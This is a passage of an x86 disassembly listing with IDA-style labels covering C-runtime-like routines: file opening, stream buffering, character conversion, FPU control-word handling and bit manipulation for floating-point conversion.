off_43C9E8 loc_423990: ; CODE XREF: sub_423936+6Ej mov edx, dword_4DB598 mov [ecx+edx], eax add eax, 20h add ecx, 4 cmp eax, offset dword_43CC68 jl short loc_423990 xor edx, edx mov ecx, offset dword_43C9F8 loc_4239AD: ; CODE XREF: sub_423936+A1j mov eax, edx mov esi, edx sar eax, 5 and esi, 1Fh mov eax, dword_4DC5C0[eax*4] mov eax, [eax+esi*8] cmp eax, 0FFFFFFFFh jz short loc_4239CA test eax, eax jnz short loc_4239CD loc_4239CA: ; CODE XREF: sub_423936+8Ej or dword ptr [ecx], 0FFFFFFFFh loc_4239CD: ; CODE XREF: sub_423936+92j add ecx, 20h inc edx cmp ecx, offset dword_43CA58 jl short loc_4239AD pop esi retn sub_423936 endp ; =============== S U B R O U T I N E ======================================= sub_4239DB proc near ; DATA XREF: ___:00429034o ; FUNCTION CHUNK AT 00424EB2 SIZE 00000058 BYTES call sub_41DBE7 cmp byte_4DB2B8, 0 jz short locret_4239EE jmp loc_424EB2 ; --------------------------------------------------------------------------- locret_4239EE: ; CODE XREF: sub_4239DB+Cj retn sub_4239DB endp ; =============== S U B R O U T I N E ======================================= sub_4239EF proc near ; CODE XREF: sub_41F043+32p ; sub_41F58A+6Cp ... arg_0 = dword ptr 4 inc dword_4DB460 push 1000h call sub_41B4D5 pop ecx mov ecx, [esp+arg_0] test eax, eax mov [ecx+8], eax jz short loc_423A18 or dword ptr [ecx+0Ch], 8 mov dword ptr [ecx+18h], 1000h jmp short loc_423A29 ; --------------------------------------------------------------------------- loc_423A18: ; CODE XREF: sub_4239EF+1Aj or dword ptr [ecx+0Ch], 4 lea eax, [ecx+14h] mov [ecx+8], eax mov dword ptr [ecx+18h], 2 loc_423A29: ; CODE XREF: sub_4239EF+27j mov eax, [ecx+8] and dword ptr [ecx+4], 0 mov [ecx], eax retn sub_4239EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423A33 proc near ; CODE XREF: sub_41F32D+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_423A59 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_423A64 ; --------------------------------------------------------------------------- loc_423A59: ; CODE XREF: sub_423A33+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_423A64: ; CODE XREF: sub_423A33+24j mov eax, 8000h test ecx, eax jnz short loc_423A7E test ch, 40h jnz short loc_423A7A cmp dword_4DB570, eax jz short loc_423A7E loc_423A7A: ; CODE XREF: sub_423A33+3Dj or [ebp+var_1], 80h loc_423A7E: ; CODE XREF: sub_423A33+38j ; sub_423A33+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_423AB6 dec eax jz short loc_423AAD dec eax jz short loc_423AA4 loc_423A8F: ; CODE XREF: sub_423A33+9Fj ; sub_423A33+E8j ... mov dword_4DB278, 16h mov dword_4DB27C, ebx jmp loc_423CC9 ; --------------------------------------------------------------------------- loc_423AA4: ; CODE XREF: sub_423A33+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AAD: ; CODE XREF: sub_423A33+57j mov [ebp+var_C], 40000000h jmp short loc_423ABD ; --------------------------------------------------------------------------- loc_423AB6: ; CODE XREF: sub_423A33+54j mov [ebp+var_C], 80000000h loc_423ABD: ; CODE XREF: sub_423A33+78j ; sub_423A33+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_423AEB cmp eax, 20h jz short loc_423AE2 cmp eax, 30h jz short loc_423AD9 cmp eax, 40h jnz short loc_423A8F mov [ebp+var_10], esi jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AD9: ; CODE XREF: sub_423A33+9Aj mov [ebp+var_10], 2 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AE2: ; CODE XREF: sub_423A33+95j mov [ebp+var_10], 1 jmp short loc_423AEE ; --------------------------------------------------------------------------- loc_423AEB: ; CODE XREF: sub_423A33+90j mov [ebp+var_10], ebx loc_423AEE: ; CODE XREF: sub_423A33+A4j ; sub_423A33+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_423B38 jz short loc_423B33 cmp ecx, ebx jz short loc_423B33 cmp ecx, edi jz short loc_423B2A cmp ecx, 200h jz short loc_423B51 cmp ecx, 300h jnz loc_423A8F mov [ebp+var_8], 2 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B2A: ; CODE XREF: sub_423A33+D8j mov [ebp+var_8], 4 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B33: ; CODE XREF: sub_423A33+D0j ; sub_423A33+D4j mov [ebp+var_8], esi jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B38: ; CODE XREF: sub_423A33+CEj cmp ecx, 500h jz short loc_423B5A cmp ecx, 600h jz short loc_423B51 cmp ecx, edx jz short loc_423B5A jmp loc_423A8F ; --------------------------------------------------------------------------- loc_423B51: ; CODE XREF: sub_423A33+E0j ; sub_423A33+113j mov [ebp+var_8], 5 jmp short loc_423B61 ; --------------------------------------------------------------------------- loc_423B5A: ; CODE XREF: sub_423A33+10Bj ; sub_423A33+117j mov [ebp+var_8], 1 loc_423B61: ; CODE XREF: sub_423A33+F5j ; sub_423A33+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_423B80 mov ecx, dword_4DB280 not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_423B80 push 1 pop esi loc_423B80: ; CODE XREF: sub_423A33+138j ; sub_423A33+148j test al, 40h jz short loc_423B8E or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_423B8E: ; CODE XREF: sub_423A33+14Fj test ah, 10h jz short loc_423B95 or esi, edi loc_423B95: ; CODE XREF: sub_423A33+15Ej test al, 20h jz short loc_423BA1 or esi, 8000000h jmp short loc_423BAB ; --------------------------------------------------------------------------- loc_423BA1: ; CODE XREF: sub_423A33+164j test al, 10h jz short loc_423BAB or esi, 10000000h loc_423BAB: ; CODE XREF: sub_423A33+16Cj ; sub_423A33+170j call sub_42371C mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_423BCC and dword_4DB27C, 0 mov dword_4DB278, 18h jmp short loc_423C0A ; --------------------------------------------------------------------------- loc_423BCC: ; CODE XREF: sub_423A33+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] nop call near ptr 26F0867h mov esi, eax cmp esi, edi jz short loc_423BFD push esi nop call near ptr 2610000h test eax, eax jnz short loc_423C11 push esi nop call near ptr 265092Ah loc_423BFD: ; CODE XREF: sub_423A33+1B6j nop call near ptr 2680000h push eax call sub_4203DF pop ecx loc_423C0A: ; CODE XREF: sub_423A33+197j mov eax, edi jmp loc_423CE7 ; --------------------------------------------------------------------------- loc_423C11: ; CODE XREF: sub_423A33+1C1j cmp eax, 2 jnz short loc_423C1C or [ebp+var_1], 40h jmp short loc_423C25 ; --------------------------------------------------------------------------- loc_423C1C: ; CODE XREF: sub_423A33+1E1j cmp eax, 3 jnz short loc_423C25 or [ebp+var_1], 8 loc_423C25: ; CODE XREF: sub_423A33+1E7j ; sub_423A33+1ECj push esi push ebx call sub_4237B1 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:4DC5C0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_423CCE test al, 80h jz short loc_423CCE test byte ptr [ebp+arg_4], 2 jz short loc_423CCE push 2 push 0FFFFFFFFh push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_423C83 cmp dword_4DB27C, 83h jz short loc_423CCE jmp short loc_423CC2 ; --------------------------------------------------------------------------- loc_423C83: ; CODE XREF: sub_423A33+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41F11C add esp, 0Ch test eax, eax jnz short loc_423CB0 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_423CB0 push [ebp+var_10] push ebx call sub_424F0A pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_423CC2 loc_423CB0: ; CODE XREF: sub_423A33+265j ; sub_423A33+26Bj push 0 push 0 push ebx call sub_42272B add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_423CCE loc_423CC2: ; CODE XREF: sub_423A33+24Ej ; sub_423A33+27Bj push ebx call sub_41DA72 pop ecx loc_423CC9: ; CODE XREF: sub_423A33+6Cj or eax, 0FFFFFFFFh jmp short loc_423CE7 ; --------------------------------------------------------------------------- loc_423CCE: ; CODE XREF: sub_423A33+221j ; sub_423A33+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_423CE5 test byte ptr [ebp+arg_4], 8 jz short loc_423CE5 mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_423CE5: ; CODE XREF: sub_423A33+29Fj ; sub_423A33+2A5j mov eax, ebx loc_423CE7: ; CODE XREF: sub_423A33+1D9j ; sub_423A33+299j pop edi pop esi pop ebx leave retn sub_423A33 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423CEC proc near ; CODE XREF: sub_41F515+5Ep ; sub_4200E8+9Ap var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427C50 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4DB468 xor ebx, ebx cmp eax, ebx jnz short loc_423D5B lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427940 push esi call near ptr 25F0526h nop test eax, eax jz short loc_423D39 mov eax, esi jmp short loc_423D56 ; --------------------------------------------------------------------------- loc_423D39: ; CODE XREF: sub_423CEC+47j lea eax, [ebp+var_1C] push eax push esi push offset dword_4CAE2C push esi push ebx nop call near ptr 2600000h test eax, eax jz loc_423E21 push 2 pop eax loc_423D56: ; CODE XREF: sub_423CEC+4Bj mov dword_4DB468, eax loc_423D5B: ; CODE XREF: sub_423CEC+2Fj cmp eax, 2 jnz short loc_423D84 mov eax, [ebp+arg_14] cmp eax, ebx jnz short loc_423D6C mov eax, dword_4DB334 loc_423D6C: ; CODE XREF: sub_423CEC+79j push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] push eax nop call near ptr 2600000h jmp loc_423E23 ; --------------------------------------------------------------------------- loc_423D84: ; CODE XREF: sub_423CEC+72j cmp eax, 1 jnz loc_423E21 cmp [ebp+arg_10], ebx jnz short loc_423D9A mov eax, dword_4DB344 mov [ebp+arg_10], eax loc_423D9A: ; CODE XREF: sub_423CEC+A4j push ebx push ebx push [ebp+arg_8] push [ebp+arg_4] mov eax, [ebp+arg_18] neg eax sbb eax, eax and eax, 8 inc eax push eax push [ebp+arg_10] nop call near ptr 2800000h mov [ebp+var_20], eax cmp eax, ebx jz short loc_423E21 mov [ebp+var_4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov esi, esp mov [ebp+var_24], esi push edi push ebx push esi call sub_41B590 add esp, 0Ch jmp short loc_423DF0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor esi, esi loc_423DF0: ; CODE XREF: sub_423CEC+F7j or [ebp+var_4], 0FFFFFFFFh cmp esi, ebx jz short loc_423E21 push [ebp+var_20] push esi push [ebp+arg_8] push [ebp+arg_4] push 1 push [ebp+arg_10] nop call near ptr 2800000h cmp eax, ebx jz short loc_423E21 push [ebp+arg_C] push eax push esi push [ebp+arg_0] nop call near ptr 25F0526h jmp short loc_423E23 ; --------------------------------------------------------------------------- loc_423E21: ; CODE XREF: sub_423CEC+61j ; sub_423CEC+9Bj ... xor eax, eax loc_423E23: ; CODE XREF: sub_423CEC+93j ; sub_423CEC+133j lea esp, [ebp-34h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_423CEC endp ; =============== S U B R O U T I N E ======================================= sub_423E35 proc near ; CODE XREF: sub_41F58A+61p ; sub_420446+8p arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, dword_4DC6C0 jb short loc_423E44 xor eax, eax retn ; --------------------------------------------------------------------------- loc_423E44: ; CODE XREF: sub_423E35+Aj mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] mov al, [ecx+eax*8+4] and eax, 40h retn sub_423E35 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423E5B proc near ; CODE XREF: sub_41F69F+2D4p ; sub_41F69F+6B3p arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] test eax, eax jnz short loc_423E67 pop ebp retn ; --------------------------------------------------------------------------- loc_423E67: ; CODE XREF: sub_423E5B+8j cmp dword_4DB334, 0 jnz short loc_423E82 mov cx, [ebp+arg_4] cmp cx, 0FFh ja short loc_423EB4 push 1 mov [eax], cl pop eax pop ebp retn ; --------------------------------------------------------------------------- loc_423E82: ; CODE XREF: sub_423E5B+13j lea ecx, [ebp+arg_0] and [ebp+arg_0], 0 push ecx push 0 push dword_43C504 push eax lea eax, [ebp+arg_4] push 1 push eax push 220h push dword_4DB344 call near ptr 27F116Ah nop test eax, eax jz short loc_423EB4 cmp [ebp+arg_0], 0 jz short loc_423EC1 loc_423EB4: ; CODE XREF: sub_423E5B+1Ej ; sub_423E5B+51j mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh loc_423EC1: ; CODE XREF: sub_423E5B+57j pop ebp retn sub_423E5B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423EC3 proc near ; CODE XREF: sub_420510+6A3p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx cmp esi, ebx jz short loc_423EE6 cmp [ebp+arg_8], ebx jz short loc_423EE6 mov al, [esi] cmp al, bl jnz short loc_423EEC mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_423EE6 mov [eax], bx loc_423EE6: ; CODE XREF: sub_423EC3+Cj ; sub_423EC3+11j ... xor eax, eax loc_423EE8: ; CODE XREF: sub_423EC3+42j ; sub_423EC3+86j ... pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_423EEC: ; CODE XREF: sub_423EC3+17j cmp dword_4DB334, ebx jnz short loc_423F07 mov ecx, [ebp+arg_0] cmp ecx, ebx jz short loc_423F02 movzx ax, al mov [ecx], ax loc_423F02: ; CODE XREF: sub_423EC3+36j ; sub_423EC3+C0j push 1 pop eax jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F07: ; CODE XREF: sub_423EC3+2Fj mov ecx, off_43C2F8 movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_423F64 mov eax, dword_43C504 cmp eax, 1 jle short loc_423F4B cmp [ebp+arg_8], eax jl short loc_423F55 xor ecx, ecx cmp [ebp+arg_0], ebx setnz cl push ecx push [ebp+arg_0] push eax push esi push 9 push dword_4DB344 nop call near ptr 2800000h test eax, eax mov eax, dword_43C504 jnz short loc_423EE8 loc_423F4B: ; CODE XREF: sub_423EC3+5Cj cmp [ebp+arg_8], eax jb short loc_423F55 cmp [esi+1], bl jnz short loc_423EE8 loc_423F55: ; CODE XREF: sub_423EC3+61j ; sub_423EC3+8Bj ... mov dword_4DB278, 2Ah or eax, 0FFFFFFFFh jmp short loc_423EE8 ; --------------------------------------------------------------------------- loc_423F64: ; CODE XREF: sub_423EC3+52j xor eax, eax cmp [ebp+arg_0], ebx setnz al push eax push [ebp+arg_0] push 1 push esi push 9 push dword_4DB344 nop call near ptr 2800000h test eax, eax jnz loc_423F02 jmp short loc_423F55 sub_423EC3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_423F90 proc near ; CODE XREF: sub_420510+797p ; sub_420510+7E7p cmp cl, 40h jnb short loc_423FAA cmp cl, 20h jnb short loc_423FA0 shld edx, eax, cl shl eax, cl retn ; --------------------------------------------------------------------------- loc_423FA0: ; CODE XREF: sub_423F90+8j mov edx, eax xor eax, eax and cl, 1Fh shl edx, cl retn ; --------------------------------------------------------------------------- loc_423FAA: ; CODE XREF: sub_423F90+3j xor eax, eax xor edx, edx retn sub_423F90 endp ; =============== S U B R O U T I N E ======================================= sub_423FAF proc near ; CODE XREF: sub_420F86+Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] cmp ebx, 0FFFFFFFFh push esi jz short loc_423FFB mov esi, [esp+8+arg_4] mov eax, [esi+0Ch] test al, 1 jnz short loc_423FCD test al, 80h jz short loc_423FFB test al, 2 jnz short loc_423FFB loc_423FCD: ; CODE XREF: sub_423FAF+14j cmp dword ptr [esi+8], 0 jnz short loc_423FDA push esi call sub_4239EF pop ecx loc_423FDA: ; CODE XREF: sub_423FAF+22j mov eax, [esi] cmp eax, [esi+8] jnz short loc_423FEA cmp dword ptr [esi+4], 0 jnz short loc_423FFB inc eax mov [esi], eax loc_423FEA: ; CODE XREF: sub_423FAF+30j test byte ptr [esi+0Ch], 40h jz short loc_424001 dec dword ptr [esi] mov eax, [esi] cmp [eax], bl jz short loc_424007 inc eax mov [esi], eax loc_423FFB: ; CODE XREF: sub_423FAF+9j ; sub_423FAF+18j ... or eax, 0FFFFFFFFh loc_423FFE: ; CODE XREF: sub_423FAF+6Cj pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_424001: ; CODE XREF: sub_423FAF+3Fj dec dword ptr [esi] mov eax, [esi] mov [eax], bl loc_424007: ; CODE XREF: sub_423FAF+47j mov eax, [esi+0Ch] inc dword ptr [esi+4] and al, 0EFh or al, 1 mov [esi+0Ch], eax mov eax, ebx and eax, 0FFh jmp short loc_423FFE sub_423FAF endp ; =============== S U B R O U T I N E ======================================= sub_42401D proc near ; CODE XREF: sub_421576+52p xor eax, eax retn sub_42401D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424020 proc near ; CODE XREF: sub_424055+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_42406B mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_4240FD pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_424020 endp ; =============== S U B R O U T I N E ======================================= sub_424055 proc near ; CODE XREF: sub_421862+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_424020 pop ecx pop ecx retn sub_424055 endp ; =============== S U B R O U T I N E ======================================= sub_42406B proc near ; CODE XREF: sub_424020+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_42407C push 10h pop eax loc_42407C: ; CODE XREF: sub_42406B+Cj test bl, 4 jz short loc_424083 or al, 8 loc_424083: ; CODE XREF: sub_42406B+14j test bl, 8 jz short loc_42408A or al, 4 loc_42408A: ; CODE XREF: sub_42406B+1Bj test bl, 10h jz short loc_424091 or al, 2 loc_424091: ; CODE XREF: sub_42406B+22j test bl, 20h jz short loc_424098 or al, 1 loc_424098: ; CODE XREF: sub_42406B+29j test bl, 2 jz short loc_4240A2 or eax, 80000h loc_4240A2: ; CODE XREF: sub_42406B+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_4240DA cmp edx, 400h jz short loc_4240D7 cmp edx, 800h jz short loc_4240D3 cmp edx, esi jnz short loc_4240DA or eax, edi jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D3: ; CODE XREF: sub_42406B+5Ej or eax, ebp jmp short loc_4240DA ; --------------------------------------------------------------------------- loc_4240D7: ; CODE XREF: sub_42406B+56j or ah, 1 loc_4240DA: ; CODE XREF: sub_42406B+4Ej ; sub_42406B+62j ... and ecx, edi pop esi jz short loc_4240EA cmp ecx, ebp jnz short loc_4240EF or eax, 10000h jmp short loc_4240EF ; --------------------------------------------------------------------------- loc_4240EA: ; CODE XREF: sub_42406B+72j or eax, 20000h loc_4240EF: ; CODE XREF: sub_42406B+76j ; sub_42406B+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_4240FC or eax, 40000h locret_4240FC: ; CODE XREF: sub_42406B+8Aj retn sub_42406B endp ; =============== S U B R O U T I N E ======================================= sub_4240FD proc near ; CODE XREF: sub_424020+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_42410D push 1 pop eax loc_42410D: ; CODE XREF: sub_4240FD+Bj test bl, 8 jz short loc_424114 or al, 4 loc_424114: ; CODE XREF: sub_4240FD+13j test bl, 4 jz short loc_42411B or al, 8 loc_42411B: ; CODE XREF: sub_4240FD+1Aj test bl, 2 jz short loc_424122 or al, 10h loc_424122: ; CODE XREF: sub_4240FD+21j test bl, 1 jz short loc_424129 or al, 20h loc_424129: ; CODE XREF: sub_4240FD+28j test ebx, 80000h jz short loc_424133 or al, 2 loc_424133: ; CODE XREF: sub_4240FD+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_424160 cmp ecx, 100h jz short loc_42415D cmp ecx, esi jz short loc_424158 cmp ecx, edx jnz short loc_424160 or ah, 0Ch jmp short loc_424160 ; --------------------------------------------------------------------------- loc_424158: ; CODE XREF: sub_4240FD+50j or ah, 8 jmp short loc_424160 ; --------------------------------------------------------------------------- loc_42415D: ; CODE XREF: sub_4240FD+4Cj or ah, 4 loc_424160: ; CODE XREF: sub_4240FD+44j ; sub_4240FD+54j ... mov ecx, ebx and ecx, 30000h jz short loc_424176 cmp ecx, 10000h jnz short loc_424178 or eax, esi jmp short loc_424178 ; --------------------------------------------------------------------------- loc_424176: ; CODE XREF: sub_4240FD+6Bj or eax, edx loc_424178: ; CODE XREF: sub_4240FD+73j ; sub_4240FD+77j pop esi test ebx, 40000h pop ebx jz short locret_424185 or ah, 10h locret_424185: ; CODE XREF: sub_4240FD+83j retn sub_4240FD endp ; =============== S U B R O U T I N E ======================================= sub_424186 proc near ; CODE XREF: sub_424225+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_4241CB inc esi cmp esi, 3 jge short loc_4241C6 lea eax, [eax+esi*4] loc_4241B8: ; CODE XREF: sub_424186+3Ej cmp dword ptr [eax], 0 jnz short loc_4241CB inc esi add eax, 4 cmp esi, 3 jl short loc_4241B8 loc_4241C6: ; CODE XREF: sub_424186+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_4241CB: ; CODE XREF: sub_424186+27j ; sub_424186+35j xor eax, eax pop esi retn sub_424186 endp ; =============== S U B R O U T I N E ======================================= sub_4241CF proc near ; CODE XREF: sub_424225+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi js short loc_424221 lea edi, [ebx+esi*4] loc_424208: ; CODE XREF: sub_4241CF+50j test eax, eax jz short loc_424221 push edi push 1 push dword ptr [edi] call sub_425050 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_424208 loc_424221: ; CODE XREF: sub_4241CF+34j ; sub_4241CF+3Bj pop edi pop esi pop ebx retn sub_4241CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424225 proc near ; CODE XREF: sub_424380+81p ; sub_424380+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_424289 inc ebx push ebx push [ebp+arg_0] call sub_424186 pop ecx test eax, eax pop ecx jnz short loc_424286 push edi push [ebp+arg_0] call sub_4241CF pop ecx mov [ebp+var_4], eax pop ecx loc_424286: ; CODE XREF: sub_424225+51j mov eax, [ebp+arg_4] loc_424289: ; CODE XREF: sub_424225+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_4242A9 mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_4242A9: ; CODE XREF: sub_424225+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_424225 endp ; =============== S U B R O U T I N E ======================================= sub_4242B1 proc near ; CODE XREF: sub_424380+75p ; sub_424380+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_4242BF: ; CODE XREF: sub_4242B1+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_4242BF pop esi retn sub_4242B1 endp ; =============== S U B R O U T I N E ======================================= sub_4242CC proc near ; CODE XREF: sub_424380+5Fp ; sub_424380+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_4242CC endp ; =============== S U B R O U T I N E ======================================= sub_4242D8 proc near ; CODE XREF: sub_424380+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_4242DE: ; CODE XREF: sub_4242D8+12j cmp dword ptr [eax], 0 jnz short loc_4242F0 inc ecx add eax, 4 cmp ecx, 3 jl short loc_4242DE push 1 pop eax retn ; --------------------------------------------------------------------------- loc_4242F0: ; CODE XREF: sub_4242D8+9j xor eax, eax retn sub_4242D8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F3 proc near ; CODE XREF: sub_424380+C0p ; sub_424380+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_424329: ; CODE XREF: sub_4242F3+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_424329 mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_42435B: ; CODE XREF: sub_4242F3+86j cmp ebx, edi jl short loc_42436E mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_424375 ; --------------------------------------------------------------------------- loc_42436E: ; CODE XREF: sub_4242F3+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_424375: ; CODE XREF: sub_4242F3+79j dec ebx sub ecx, 4 jns short loc_42435B pop edi pop esi pop ebx leave retn sub_4242F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424380 proc near ; CODE XREF: sub_4244EC+Dp ; sub_424502+Dp var_18 